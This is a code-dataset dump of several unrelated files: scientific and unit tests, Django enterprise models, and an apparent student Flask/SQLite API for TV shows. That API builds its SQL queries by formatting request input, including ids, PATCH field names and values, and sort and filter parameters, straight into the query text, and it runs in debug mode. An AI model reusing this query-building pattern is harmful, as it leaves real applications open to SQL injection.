um)\n neuron = SpatialNeuron(morpho, \"Im = ta(t)/area : amp/meter**2\", method=\"euler\")\n mon = StateMonitor(neuron, \"v\", record=0, when=\"after_groups\")\n run(2 * ms)\n assert_allclose(\n np.diff(mon.v_[0]),\n np.r_[\n np.zeros(9),\n np.array(\n np.ones(10) * 1 * nA / neuron.area[0] / neuron.Cm * defaultclock.dt\n ),\n ],\n )\n\n\nif __name__ == \"__main__\":\n test_custom_events()\n test_construction()\n test_construction_coordinates()\n test_infinitecable()\n test_finitecable()\n test_rallpack1()\n test_rallpack2()\n test_rallpack3()\n test_rall()\n test_basic_diffusion()\n test_allowed_integration()\n test_spatialneuron_indexing()\n test_tree_index_consistency()\n test_spatialneuron_subtree_assignment()\n test_spatialneuron_morphology_assignment()\n test_spatialneuron_capacitive_currents()\n test_spatialneuron_timedarray()\n","repo_name":"brian-team/brian2","sub_path":"brian2/tests/test_spatialneuron.py","file_name":"test_spatialneuron.py","file_ext":"py","file_size_in_byte":35703,"program_lang":"python","lang":"en","doc_type":"code","stars":823,"dataset":"github-code","pt":"61"} +{"seq_id":"6287282169","text":"from unittest import TestCase\n\nfrom class_registry.cache import ClassRegistryInstanceCache\nfrom class_registry.registry import ClassRegistry\nfrom test import Bulbasaur, Charmander, Charmeleon, Squirtle, Wartortle\n\n\nclass ClassRegistryInstanceCacheTestCase(TestCase):\n def setUp(self):\n super(ClassRegistryInstanceCacheTestCase, self).setUp()\n\n self.registry = ClassRegistry(attr_name='element')\n self.cache = ClassRegistryInstanceCache(self.registry)\n\n def test_get(self):\n \"\"\"\n When an instance is returned from\n :py:meth:`ClassRegistryInstanceCache.get`, future invocations return\n the same instance.\n \"\"\"\n # Register a few classes with the ClassRegistry.\n self.registry.register(Bulbasaur)\n self.registry.register(Charmander)\n self.registry.register(Squirtle)\n\n poke_1 = self.cache['grass']\n self.assertIsInstance(poke_1, Bulbasaur)\n\n # Same key = exact same instance.\n poke_2 = self.cache['grass']\n self.assertIs(poke_2, poke_1)\n\n poke_3 = self.cache['water']\n self.assertIsInstance(poke_3, Squirtle)\n\n # If we pull a class directly from the wrapped registry, we get\n # a new instance.\n poke_4 = self.registry['water']\n self.assertIsInstance(poke_4, Squirtle)\n self.assertIsNot(poke_3, poke_4)\n\n def test_template_args(self):\n \"\"\"\n Extra params passed to the cache constructor are passed to the template\n function when creating new instances.\n \"\"\"\n self.registry.register(Charmeleon)\n self.registry.register(Wartortle)\n\n # Add an extra init param to the cache.\n cache = ClassRegistryInstanceCache(self.registry, name='Bruce')\n\n # The cache parameters are automatically applied to the class'\n # initializer.\n poke_1 = cache['fire']\n self.assertIsInstance(poke_1, Charmeleon)\n self.assertEqual(poke_1.name, 'Bruce')\n\n poke_2 = cache['water']\n self.assertIsInstance(poke_2, Wartortle)\n self.assertEqual(poke_2.name, 'Bruce')\n\n def test_iterator(self):\n \"\"\"\n Creating an iterator using :py:func:`iter`.\n \"\"\"\n self.registry.register(Bulbasaur)\n self.registry.register(Charmander)\n self.registry.register(Squirtle)\n\n # The cache's iterator only operates over cached instances.\n self.assertListEqual(list(iter(self.cache)), [])\n\n poke_1 = self.cache['water']\n poke_2 = self.cache['grass']\n poke_3 = self.cache['fire']\n\n # The order that values are yielded depends on the ordering of\n # the wrapped registry.\n self.assertListEqual(\n list(iter(self.cache)),\n [poke_2, poke_3, poke_1],\n )\n","repo_name":"todofixthis/class-registry","sub_path":"test/test_cache.py","file_name":"test_cache.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"61"} +{"seq_id":"3295657720","text":"from flask import Flask, request, Response\nfrom flask_restx import Resource, Api\nfrom flask_restx import fields\nfrom datetime import datetime, timedelta\nimport matplotlib.pyplot as plt\nimport sqlite3\nimport requests\nimport json\nimport time\nimport math\nimport os\n\napp = Flask(__name__)\napi = Api(app, default=\"TV Show\", title=\"TV Show database\", description=\"API for TV Show.\")\n\nresource_fields = api.model('Resource', {\n 'id': fields.Integer,\n 'tvmaze_id': fields.Integer,\n 'name': fields.String,\n 'type': fields.String,\n 'language': fields.String,\n 'genres': fields.List(fields.String),\n 'status': fields.String,\n 'runtime': fields.Integer,\n 'premiered': fields.String,\n 'officialSite': fields.String,\n 'schedule_time': fields.String,\n 'schedule_days': fields.List(fields.String),\n 'last_update': fields.String,\n 'rating_average': fields.Float,\n 'weight': fields.Integer,\n 'summary': fields.String,\n 'self_href': fields.String,\n 'previous_href': fields.String,\n 'next_href': fields.String\n})\n\nparser = api.parser()\nparser.add_argument('name', type=str)\n\nparser_1 = api.parser()\nparser_1.add_argument('order_by', type=str, default='+id')\nparser_1.add_argument('page', type=int, default=1)\nparser_1.add_argument('page_size', type=int, default=100)\nparser_1.add_argument('filter', type=str, default='id,name')\n\nparser_2 = api.parser()\nparser_2.add_argument('format', type=str)\nparser_2.add_argument('by', type=str)\n\n\ndef operate_database(db, operation):\n connection = sqlite3.connect(db)\n cursor = connection.cursor()\n cursor.execute(operation)\n res = cursor.fetchall()\n connection.commit()\n connection.close()\n return res\n\n\n@api.route('/tv-shows/import')\n@api.response(200, 'OK')\n@api.response(400, 'Bad Request')\n@api.response(404, 'Not Found')\n@api.response(409, 'Confliction')\n@api.response(201, 'Created')\n@api.doc(parser=parser)\nclass question1(Resource):\n @api.doc(description=\"Import a TV show\")\n def post(self):\n name = parser.parse_args()['name']\n # The input name cannot be None\n if name is None:\n return {'message': 'Name cannot be none'}, 404\n # Request TV show from tvmaze api\n url = \"http://api.tvmaze.com/search/shows?q=\" + name\n r = requests.get(url)\n data = r.json()\n # The result is null\n if not data:\n return {'message': \"TV show {} doesn't exist in the data source\".format(name)}, 404\n # Only keep English alpha and number\n tmp_name = \"\".join(filter(str.isalnum, name.lower()))\n # Set id of this tv show in database\n res = operate_database('z5241723.db', 'SELECT max(id) FROM Shows')\n current_id = res[0][0]\n if current_id is None:\n new_id = 1\n else:\n new_id = int(current_id) + 1\n for i in data:\n # Exact match\n # Only keep English alpha and number\n if \"\".join(filter(str.isalnum, ((i['show']['name']).lower()))) == tmp_name:\n # If this tv show has already existed in database\n if operate_database('z5241723.db', 'SELECT id FROM Shows WHERE tvmaze_id = {}'.format(i['show']['id'])):\n return {'message': \"TV show {} has already existed in the data source\".format(name)}, 409\n d = i['show']\n self_href = \"http://127.0.0.1:5000/tv-shows/\" + str(new_id)\n # Create dictionary to store information needed to insert in database\n the_dict = {'id': new_id, 'tvmaze_id': d['id'], 'name': d['name'], 'type': d['type'],\n 'language': d['language'], 'genres': ','.join(d['genres']), 'status': d['status'],\n 'runtime': d['runtime'], 'premiered': d['premiered'], 'officialSite': d['officialSite'],\n 'schedule_time': 'NULL', 'schedule_days': 'NULL',\n 'last_updated': time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n 'rating_average': 'NULL', 'weight': d['weight'], 'network_id': 'NULL',\n 'network_name': 'NULL', 'country_name': 'NULL',\n 'country_code': 'NULL', 'country_timezone': 'NULL',\n 'summary': d['summary'].replace('\\'', '\\\\'), 'self_href': self_href}\n\n for j in the_dict.keys():\n if the_dict[j] is None:\n the_dict[j] = 'NULL'\n\n if d['schedule'] is not None:\n for k in d['schedule'].keys():\n if d['schedule'][k] is not None:\n the_dict['schedule_' + k] = d['schedule'][k]\n\n if d['rating'] is not None:\n for k in d['rating'].keys():\n if d['rating'][k] is not None:\n the_dict['rating_' + k] = d['rating'][k]\n\n if d['network'] is not None:\n for k in d['network'].keys():\n if k != 'country' and d['network'][k] is not None:\n the_dict['network_' + k] = d['network'][k]\n elif k == 'country' and d['network'][k] is not None:\n for key in d['network']['country'].keys():\n if d['network']['country'][key] is not None:\n the_dict['country_' + key] = d['network']['country'][key]\n # Insert into table Shows\n operation = \"INSERT INTO Shows VALUES ({}, {}, '{}', '{}', '{}', '{}', '{}', {}, '{}', '{}', '{}', '{}', '{}', {}, {}, {}, '{}', '{}', '{}', '{}', '{}', '{}');\" \\\n .format(the_dict['id'], the_dict['tvmaze_id'], the_dict['name'], the_dict['type'], the_dict['language'], the_dict['genres'],\n the_dict['status'], the_dict['runtime'], the_dict['premiered'], the_dict['officialSite'],\n the_dict['schedule_time'], ','.join(the_dict['schedule_days']), the_dict['last_updated'],\n the_dict['rating_average'], the_dict['weight'], the_dict['network_id'], the_dict['network_name'],\n the_dict['country_name'], the_dict['country_code'], the_dict['country_timezone'],\n the_dict['summary'], the_dict['self_href'])\n r = operate_database('z5241723.db', operation)\n information = {\n \"id\": new_id,\n \"last-update\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n \"tvmaze-id\": d['id'],\n \"_links\": {\n \"self\": {\n \"href\": self_href\n }\n }\n }\n r_pre = operate_database('z5241723.db', 'SELECT max(id) FROM Shows WHERE id < {}'.format(new_id))\n if r_pre[0][0] is not None:\n information[\"_links\"][\"previous\"] = {\"href\": \"http://127.0.0.1:5000/tv-shows/\" + str(r_pre[0][0])}\n return information, 201\n return {'message': \"TV show {} doesn't exist in the data source\".format(name)}, 404\n\n\n@api.route('/tv-shows/')\n@api.response(200, 'OK')\n@api.response(400, 'Bad Request')\n@api.response(404, 'Not Found')\nclass question234(Resource):\n @api.doc(description=\"Get a TV show\")\n def get(self, id):\n shows_operation = \"SELECT * FROM Shows WHERE id = {}\".format(id)\n shows_r = operate_database('z5241723.db', shows_operation)\n # The result id null\n if not shows_r:\n return {'message': \"The tv show with id {} doesn't exist in the database.\".format(id)}, 404\n # Find the previous and next shows of this show\n r_pre = operate_database('z5241723.db', 'SELECT max(id) FROM Shows WHERE id < {}'.format(id))\n if r_pre[0][0] is not None:\n pre_href = \"http://127.0.0.1:5000/tv-shows/\" + str(r_pre[0][0])\n else:\n pre_href = 'NULL'\n r_next = operate_database('z5241723.db', 'SELECT min(id) FROM Shows WHERE id > {}'.format(id))\n if r_next[0][0] is not None:\n next_href = \"http://127.0.0.1:5000/tv-shows/\" + str(r_next[0][0])\n else:\n next_href = 'NULL'\n # The information needed to return\n information = {\n \"tvmaze_id\": shows_r[0][1],\n \"id\": shows_r[0][0],\n \"last-update\": shows_r[0][12],\n \"name\": shows_r[0][2],\n \"type\": shows_r[0][3],\n \"language\": shows_r[0][4],\n \"genres\": [i for i in shows_r[0][5].split(',')],\n \"status\": shows_r[0][6],\n \"runtime\": shows_r[0][7],\n \"premiered\": shows_r[0][8],\n \"officialSite\": shows_r[0][9],\n \"schedule\": {\n \"time\": shows_r[0][10],\n \"days\": [i for i in shows_r[0][11].split(',')]\n },\n \"rating\": {\n \"average\": shows_r[0][13]\n },\n \"weight\": shows_r[0][14],\n \"network\": {\n \"id\": shows_r[0][15],\n \"name\": shows_r[0][16],\n \"country\": {\n \"name\": shows_r[0][17],\n \"code\": shows_r[0][18],\n \"timezone\": shows_r[0][19]\n }\n },\n \"summary\": shows_r[0][20].replace('\\\\', '\\''),\n \"_links\": {\n \"self\": {\n \"href\": shows_r[0][21]\n }\n }\n }\n if pre_href != 'NULL':\n information[\"_links\"][\"previous\"] = {\"href\": pre_href}\n if next_href != 'NULL':\n information[\"_links\"][\"next\"] = {\"href\": next_href}\n return information, 200\n\n @api.doc(description=\"Delete a TV show\")\n def delete(self, id):\n shows_operation = \"SELECT * FROM Shows WHERE id = {}\".format(id)\n shows_r = operate_database('z5241723.db', shows_operation)\n # The result id null\n if not shows_r:\n return {'message': \"The tv show with id {} doesn't exist in the database.\".format(id)}, 404\n # Delete this tv show from database\n operate_database('z5241723.db', \"DELETE FROM Shows WHERE id = {}\".format(id))\n information = {\n \"message\": \"The tv show with id {} was removed from the database!\".format(id),\n \"id\": id\n }\n return information, 200\n\n @api.doc(description=\"Update a TV show\")\n @api.expect(resource_fields)\n def patch(self, id):\n shows_operation = \"SELECT * FROM Shows WHERE id = {}\".format(id)\n shows_r = operate_database('z5241723.db', shows_operation)\n # The result id null\n if not shows_r:\n return {'message': \"The tv show with id {} doesn't exist in the database.\".format(id)}, 404\n\n the_dict = {'id': shows_r[0][0], 'tvmaze_id': shows_r[0][1], 'name': shows_r[0][2], 'type': shows_r[0][3],\n 'language': shows_r[0][4], 'genres': shows_r[0][5], 'status': shows_r[0][6],\n 'runtime': shows_r[0][7], 'premiered': shows_r[0][8], 'officialSite': shows_r[0][9],\n 'schedule_time': shows_r[0][10], 'schedule_days': shows_r[0][11], 'last_updated': shows_r[0][12],\n 'rating_average': shows_r[0][13], 'weight': shows_r[0][14], 'network_id': shows_r[0][15],\n 'network_name': shows_r[0][16], 'country_name': shows_r[0][17], 'country_code': shows_r[0][18],\n 'country_timezone': shows_r[0][19], 'summary': shows_r[0][20], 'self_href': shows_r[0][21]}\n # Get the api_model\n tv_show = request.json\n if 'id' in tv_show and id != tv_show['id']:\n return {\"message\": \"Id cannot be changed!\"}, 400\n if 'tvmaze_id' in tv_show and the_dict['tvmaze_id'] != tv_show['tvmaze_id']:\n return {\"message\": \"tvmaze_id cannot be changed!\"}, 400\n if 'last_update' in tv_show:\n return {\"message\": \"last_update cannot be changed!\"}, 400\n if 'self_href' in tv_show and the_dict['self_href'] != tv_show['self_href']:\n return {\"message\": \"self_href cannot be changed!\"}, 400\n if 'previous_href' in tv_show:\n return {\"message\": \"previous_href cannot be changed!\"}, 400\n if 'next_href' in tv_show:\n return {\"message\": \"next_href cannot be changed!\"}, 400\n # Update the information of this tv show\n for key in tv_show:\n if key not in resource_fields.keys():\n return {\"message\": \"Property {} is invalid\".format(key)}, 400\n if key == 'genres' or key == 'schedule_days':\n tv_show[key] = ','.join(tv_show[key])\n if key == 'summary':\n tv_show[key] = tv_show[key].replace('\\'', '\\\\')\n if key != 'id':\n if isinstance(tv_show[key], int) or isinstance(tv_show[key], float):\n operate_database('z5241723.db', \"UPDATE Shows set {} = {} WHERE id={}\".format(key, tv_show[key], id))\n else:\n operate_database('z5241723.db', \"UPDATE Shows set {} = '{}' WHERE id={}\".format(key, tv_show[key], id))\n # Change the last update time\n current_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n operate_database('z5241723.db', \"UPDATE Shows set '{}' = '{}' WHERE id={}\".format('last_update', current_time, id))\n information = {\n \"id\": id,\n \"last-update\": current_time,\n \"_links\": {\n \"self\": {\n \"href\": the_dict['self_href']\n }\n }\n }\n # Find the previous and next shows of this show\n r_pre = operate_database('z5241723.db', 'SELECT max(id) FROM Shows WHERE id < {}'.format(id))\n if r_pre[0][0] is not None:\n pre_href = \"http://127.0.0.1:5000/tv-shows/\" + str(r_pre[0][0])\n else:\n pre_href = 'NULL'\n r_next = operate_database('z5241723.db', 'SELECT min(id) FROM Shows WHERE id > {}'.format(id))\n if r_next[0][0] is not None:\n next_href = \"http://127.0.0.1:5000/tv-shows/\" + str(r_next[0][0])\n else:\n next_href = 'NULL'\n if pre_href != 'NULL':\n information[\"_links\"][\"previous\"] = {\"href\": pre_href}\n if next_href != 'NULL':\n information[\"_links\"][\"next\"] = {\"href\": next_href}\n return information, 200\n\n\n@api.route('/tv-shows')\n@api.response(200, 'OK')\n@api.response(400, 'Bad Request')\n@api.response(404, 'Not Found')\n@api.doc(parser=parser_1)\nclass question5(Resource):\n @api.doc(description=\"Get all TV show\")\n def get(self):\n # Get the query parameters\n order = parser_1.parse_args()['order_by']\n page = parser_1.parse_args()['page']\n page_size = parser_1.parse_args()['page_size']\n filters = parser_1.parse_args()['filter']\n if order is None or page is None or page_size is None or filters is None:\n return {'message': 'All four parameter should have value'}, 404\n if page == 0 or page_size == 0:\n return {'message': 'Page or Page_size cannot be 0'}, 404\n num_of_all_tv = operate_database('z5241723.db', 'SELECT count(*) FROM Shows')\n # The database is empty\n if num_of_all_tv[0][0] == 0:\n return {'message': 'The database is empty'}, 404\n # This page is empty\n max_page = math.ceil(num_of_all_tv[0][0] / page_size)\n if page > max_page:\n return {'message': \"The page {} is empty\".format(page)}, 404\n # The order and filter parameters must in below lists\n given_orders = ['id', 'name', 'runtime', 'premiered', 'rating_average']\n given_filters = ['tvmaze_id', 'id', 'last_update', 'name', 'type', 'language', 'genres', 'status', 'runtime',\n 'premiered', 'officialSite', 'schedule', 'rating', 'weight', 'network', 'summary']\n # Format parameters to sql query\n filter_all = []\n for i in filters.split(','):\n i = i.replace('-', '_')\n if i not in given_filters:\n return {'message': 'TV shows cannot filter by {}'.format(i)}, 400\n if i == 'schedule':\n filter_all.extend(['schedule_time', 'schedule_days'])\n elif i == 'rating':\n filter_all.append('rating_average')\n elif i == 'network':\n filter_all.extend(['network_id', 'network_name', 'country_name', 'country_code', 'country_timezone'])\n else:\n filter_all.append(i)\n if len(set(filter_all)) != len(filter_all):\n return {'message': 'The filter cannot have duplicates'}, 400\n order_by = ''\n for i in order.split(','):\n tmp_order = i[1:].replace('-', '_')\n if tmp_order not in given_orders:\n return {'message': 'TV shows cannot order by {}'.format(tmp_order)}, 400\n if i[0] == '+':\n order_by = order_by + tmp_order + ' ASC, '\n elif i[0] == '-':\n order_by = order_by + tmp_order + ' DESC, '\n else:\n return {'message': 'The order_by must indicate ACS or DESC (i.e. +/-)'}, 400\n order_by = order_by[:-2]\n p1 = ','.join(filter_all)\n p2 = order_by\n r = operate_database('z5241723.db', \"SELECT {} FROM Shows ORDER BY {}\".format(p1, p2))\n pre_page = 0\n next_page = 0\n # Calculate which tv shows will be present in this page\n if page == 1:\n if num_of_all_tv[0][0] > page_size:\n r = r[0:page_size]\n next_page = 2\n else:\n r = r[0:num_of_all_tv[0][0]]\n else:\n if page * page_size >= num_of_all_tv[0][0]:\n r = r[(page - 1) * page_size:num_of_all_tv[0][0]]\n pre_page = page - 1\n else:\n r = r[(page - 1) * page_size:page * page_size]\n pre_page = page - 1\n next_page = page + 1\n # The information used to return\n information = {\n \"page\": page,\n \"page-size\": page_size,\n \"tv-shows\": [],\n \"_links\": {\n \"self\": {\n \"href\": \"http://127.0.0.1:5000/tv-shows?order_by={}&page={}&page_size={}&filter={}\".format(order, page, page_size, filters)\n }\n }\n }\n if pre_page != 0:\n information['_links']['previous'] = \\\n {\"href\": \"http://127.0.0.1:5000/tv-shows?order_by={}&page={}&page_size={}&filter={}\".format(order, pre_page, page_size, filters)}\n if next_page != 0:\n information['_links']['next'] = \\\n {\"href\": \"http://127.0.0.1:5000/tv-shows?order_by={}&page={}&page_size={}&filter={}\".format(order, next_page, page_size, filters)}\n # Add structure to information['tv-shows']\n result_of_index = dict()\n index = 0\n tvs = dict()\n for i in filter_all:\n if 'schedule' in i:\n tvs['schedule'] = {'time': 'NULL', 'days': 'NULL'}\n elif 'rating' in i:\n tvs['rating'] = {'average': 'NULL'}\n elif 'network' in i:\n tvs['network'] = {'id': 'NULL',\n 'name': 'NULL',\n 'country': {\n 'name': 'NULL',\n 'code': 'NULL',\n 'timezone': 'NULL'\n }}\n elif 'country' in i:\n tvs['network'] = {'id': 'NULL',\n 'name': 'NULL',\n 'country': {\n 'name': 'NULL',\n 'code': 'NULL',\n 'timezone': 'NULL'\n }}\n else:\n tvs[i] = 'NULL'\n result_of_index[i] = index\n index += 1\n # Add content to information['tv-shows']\n for i in r:\n tmp_tvs = tvs.copy()\n if 'schedule' in filters:\n tmp_tvs['schedule'] = tvs['schedule'].copy()\n if 'rating' in filters:\n tmp_tvs['rating'] = tvs['rating'].copy()\n if 'network' in filters:\n tmp_tvs['network'] = tvs['network'].copy()\n tmp_tvs['network']['country'] = tvs['network']['country'].copy()\n for j in filter_all:\n if j == 'genres':\n tmp_tvs[j] = [k for k in i[result_of_index[j]].split(',')]\n elif j == 'rating_average':\n tmp_tvs['rating']['average'] = i[result_of_index[j]]\n elif j == 'schedule_time':\n tmp_tvs['schedule']['time'] = i[result_of_index[j]]\n elif j == 'schedule_days':\n tmp_tvs['schedule']['days'] = [k for k in i[result_of_index[j]].split(',')]\n elif j == 'network_id':\n tmp_tvs['network']['id'] = i[result_of_index[j]]\n elif j == 'network_name':\n tmp_tvs['network']['name'] = i[result_of_index[j]]\n elif j == 'country_name':\n tmp_tvs['network']['country']['name'] = i[result_of_index[j]]\n elif j == 'country_code':\n tmp_tvs['network']['country']['code'] = i[result_of_index[j]]\n elif j == 'country_timezone':\n tmp_tvs['network']['country']['timezone'] = i[result_of_index[j]]\n else:\n tmp_tvs[j] = i[result_of_index[j]]\n information['tv-shows'].append(tmp_tvs)\n return information, 200\n\n\n@api.route('/tv-shows/statistics')\n@api.response(200, 'OK')\n@api.response(400, 'Bad Request')\n@api.response(404, 'Not Found')\n@api.doc(parser=parser_2)\nclass question6(Resource):\n @api.doc(description=\"Get the statistics of the existing TV Show\")\n def get(self):\n # Get query parameter\n need_format = parser_2.parse_args()['format']\n need_by = parser_2.parse_args()['by']\n if need_format is None or need_by is None:\n return {'message': 'These two parameter must have value'}, 404\n if need_format not in {'json', 'image'}:\n return {'message': 'The format parameter must be json or image'}, 400\n if need_by not in ['language', 'genres', 'status', 'type']:\n return {'message': 'The by parameter must be language, genres, status or type'}, 400\n # Calculate total number of tv shows\n t = operate_database('z5241723.db', 'SELECT count(*) FROM Shows')\n total = t[0][0]\n # Calculate total number of tv shows which were updated last 24 hours\n t_u = operate_database('z5241723.db', \"SELECT count(*) FROM Shows WHERE last_update >= '{}'\".format(\n (datetime.now() - timedelta(days=1)).strftime('%Y-%m-%d %H:%M:%S')))\n total_updated = t_u[0][0]\n bar_data = dict()\n if need_by == 'genres':\n r = operate_database('z5241723.db', 'SELECT {}, count(*) FROM Shows GROUP BY {}'.format(need_by, need_by))\n res = operate_database('z5241723.db', 'SELECT genres FROM Shows')\n all_genres = []\n for i in res:\n all_genres.extend([k for k in i[0].split(',')])\n all_genres = list(set(all_genres))\n all_genres = list(set(all_genres))\n for i in all_genres:\n if i == '':\n each_res = operate_database('z5241723.db',\n \"SELECT count(*) FROM Shows WHERE genres LIKE '{}'\".format(i))\n else:\n each_res = operate_database('z5241723.db', \"SELECT count(*) FROM Shows WHERE genres LIKE '%{}%'\".format(i))\n if i not in bar_data.keys():\n bar_data[i] = each_res[0][0]\n else:\n bar_data[i] = bar_data[i] + each_res[0][0]\n else:\n r = operate_database('z5241723.db', 'SELECT {}, count(*) FROM Shows GROUP BY {}'.format(need_by, need_by))\n\n information = {\n 'total': total,\n 'total-updated': total_updated\n }\n if need_format == 'json':\n information['value'] = dict()\n for i in r:\n if i[0] == '':\n tmp = \"No \" + need_by\n information['value'][tmp] = \"{:.1f}\".format((i[1] / total) * 100)\n else:\n information['value'][i[0]] = \"{:.1f}\".format((i[1] / total) * 100)\n return information, 200\n else:\n if os.path.exists('{}.png'.format(need_by)):\n os.remove('{}.png'.format(need_by))\n if need_by == 'genres':\n label = []\n data = []\n for i in r:\n if i[0] == '':\n tmp = \"No \" + need_by\n label.append(tmp)\n else:\n label.append(i[0])\n data.append((i[1] / total) * 100)\n plt.figure(figsize=(20, 20), dpi=100)\n plt.subplot(2, 1, 1)\n x, label, per = plt.pie(data, labels=label, autopct=\"%1.2f%%\")\n label = [i.set_size(15) for i in label]\n per = [i.set_size(15) for i in per]\n plt.axis('equal')\n plt.legend(prop={'size': 15})\n plt.title(\"TV shows break down by {}, total={}, total-updated={}\".format(need_by, total, total_updated), fontsize=18)\n plt.subplot(2, 1, 2)\n plt.bar(x=[i if i != \"\" else \"No genres\" for i in bar_data.keys()], height=bar_data.values())\n plt.xticks(rotation=60, fontsize=15)\n plt.yticks(fontsize=14)\n plt.title(\"Genres statistics for TV shows\", fontsize=18)\n plt.savefig('{}.png'.format(need_by))\n with open('{}.png'.format(need_by), 'rb') as f:\n image = f.read()\n return Response(image, mimetype='image/png')\n else:\n label = []\n data = []\n for i in r:\n if i[0] == '':\n tmp = \"No \" + need_by\n label.append(tmp)\n else:\n label.append(i[0])\n data.append((i[1] / total) * 100)\n plt.figure(figsize=(20, 10), dpi=100)\n x, label, per = plt.pie(data, labels=label, autopct=\"%1.2f%%\")\n label = [i.set_size(15) for i in label]\n per = [i.set_size(15) for i in per]\n plt.axis('equal')\n plt.legend(prop={'size': 15})\n plt.title(\"TV shows break down by {}, total={}, total-updated={}\".format(need_by, total, total_updated), fontsize=18)\n plt.savefig('{}.png'.format(need_by))\n with open('{}.png'.format(need_by), 'rb') as f:\n image = f.read()\n return Response(image, mimetype='image/png')\n\n\n\nif __name__ == '__main__':\n r1 = operate_database('z5241723.db',\n '''CREATE TABLE IF NOT EXISTS Shows(\n id INTEGER PRIMARY KEY NOT NULL,\n tvmaze_id INTEGER,\n name TEXT,\n type TEXT,\n language TEXT,\n genres TEXT,\n status TEXT,\n runtime INTEGER,\n premiered TEXT,\n officialSite TEXT,\n schedule_time TEXT,\n schedule_days TEXT,\n last_update TEXT,\n rating_average REAL,\n weight INTEGER,\n network_id INTEGER,\n network_name TEXT,\n country_name TEXT,\n country_code TEXT,\n country_timezone TEXT,\n summary TEXT,\n self_href TEXT\n )'''\n )\n app.run(host='127.0.0.1', port=5000, debug=True)\n","repo_name":"tricccc/COMP9321-ASS1-Pandas","sub_path":"z5241723.py","file_name":"z5241723.py","file_ext":"py","file_size_in_byte":28626,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"29021628735","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDatabase models for enterprise.\n\"\"\"\nfrom __future__ import absolute_import, unicode_literals\n\nimport os\nfrom logging import getLogger\nfrom uuid import uuid4\n\nfrom simple_history.models import HistoricalRecords\n\nfrom django.contrib.auth.models import User\nfrom django.contrib.sites.models import Site\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.files.storage import default_storage\nfrom django.db import models\nfrom django.utils.encoding import python_2_unicode_compatible\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom model_utils.models import TimeStampedModel\n\nfrom enterprise import utils\nfrom enterprise.validators import validate_image_extension, validate_image_size\n\nlogger = getLogger(__name__) # pylint: disable=invalid-name\n\n\nclass EnterpriseCustomerManager(models.Manager):\n \"\"\"\n Model manager for :class:`.EnterpriseCustomer` model.\n\n Filters out inactive Enterprise Customers, otherwise works the same as default model manager.\n \"\"\"\n\n # This manager filters out some records, hence according to the Django docs it must not be used\n # for related field access. Although False is default value, it still makes sense to set it explicitly\n # https://docs.djangoproject.com/en/1.10/topics/db/managers/#base-managers\n use_for_related_fields = False\n\n def get_queryset(self):\n \"\"\"\n Return a new QuerySet object. Filters out inactive Enterprise Customers.\n \"\"\"\n return super(EnterpriseCustomerManager, self).get_queryset().filter(active=True)\n\n\n@python_2_unicode_compatible\nclass EnterpriseCustomer(TimeStampedModel):\n \"\"\"\n Enterprise Customer is an organization or a group of people that \"consumes\" courses.\n\n Users associated with an Enterprise Customer take courses on the edX platform.\n\n Enterprise Customer might be providing certain benefits to their members, like discounts to paid course\n enrollments, and also might request (or require) sharing learner results with them.\n\n Fields:\n uuid (UUIDField, PRIMARY KEY): Enterprise Customer code - used to reference this Enterprise Customer in\n other parts of the system (SSO, ecommerce, analytics etc.).\n name (:class:`django.db.models.CharField`): Enterprise Customer name.\n active (:class:`django.db.models.BooleanField`): used to mark inactive Enterprise Customers - implements\n \"soft delete\" pattern.\n \"\"\"\n\n class Meta:\n verbose_name = _(\"Enterprise Customer\")\n verbose_name_plural = _(\"Enterprise Customers\")\n\n objects = models.Manager()\n active_customers = EnterpriseCustomerManager()\n\n uuid = models.UUIDField(primary_key=True, default=uuid4, editable=False)\n name = models.CharField(max_length=255, blank=False, null=False, help_text=_(\"Enterprise Customer name.\"))\n catalog = models.PositiveIntegerField(null=True, help_text=_(\"Course catalog for the Enterprise Customer.\"))\n active = models.BooleanField(default=True)\n history = HistoricalRecords()\n site = models.ForeignKey(Site, related_name=\"enterprise_customers\")\n\n DATA_CONSENT_OPTIONAL = 'optional'\n AT_LOGIN = 'at_login'\n AT_ENROLLMENT = 'at_enrollment'\n DATA_SHARING_CONSENT_CHOICES = (\n (DATA_CONSENT_OPTIONAL, 'Optional'),\n (AT_LOGIN, 'At Login'),\n (AT_ENROLLMENT, 'At Enrollment'),\n )\n\n enable_data_sharing_consent = models.BooleanField(\n default=False,\n help_text=_(\n \"This field is used to determine whether data sharing consent is enabled or \"\n \"disabled for users signing in using this enterprise customer. If disabled, consent \"\n \"will not be requested, and eligible data will not be shared.\"\n )\n )\n\n enforce_data_sharing_consent = models.CharField(\n max_length=25,\n blank=False,\n choices=DATA_SHARING_CONSENT_CHOICES,\n default=DATA_CONSENT_OPTIONAL,\n help_text=_(\n \"This field determines if data sharing consent is optional, if it's required at login, \"\n \"or if it's required when registering for eligible courses.\"\n )\n )\n\n @property\n def identity_provider(self):\n \"\"\"\n Unique slug for the identity provider associated with this enterprise customer.\n\n Returns `None` if enterprise customer does not have any identity provider.\n \"\"\"\n try:\n return self.enterprise_customer_identity_provider and self.enterprise_customer_identity_provider.provider_id\n except ObjectDoesNotExist:\n return None\n\n def __str__(self):\n \"\"\"\n Return human-readable string representation.\n \"\"\"\n return \"\".format(code=self.uuid, name=self.name)\n\n def __repr__(self):\n \"\"\"\n Return uniquely identifying string representation.\n \"\"\"\n return self.__str__()\n\n def enforces_data_sharing_consent(self, enforcement_location):\n \"\"\"\n Determine whether the enterprise customer enforce data sharing consent at the given point.\n\n Args:\n enforcement_location (str): the point where to see data sharing consent state.\n argument can either be \"optional\", 'at_login' or 'at_enrollment'\n \"\"\"\n return self.requests_data_sharing_consent and self.enforce_data_sharing_consent == enforcement_location\n\n @property\n def requests_data_sharing_consent(self):\n \"\"\"\n Determine whether the enterprise customer has enabled the data sharing consent request.\n \"\"\"\n return self.enable_data_sharing_consent\n\n\nclass EnterpriseCustomerUserManager(models.Manager):\n \"\"\"\n Model manager for :class:`.EnterpriseCustomerUser` entity.\n\n This class should contain methods that create, modify or query :class:`.EnterpriseCustomerUser` entities.\n 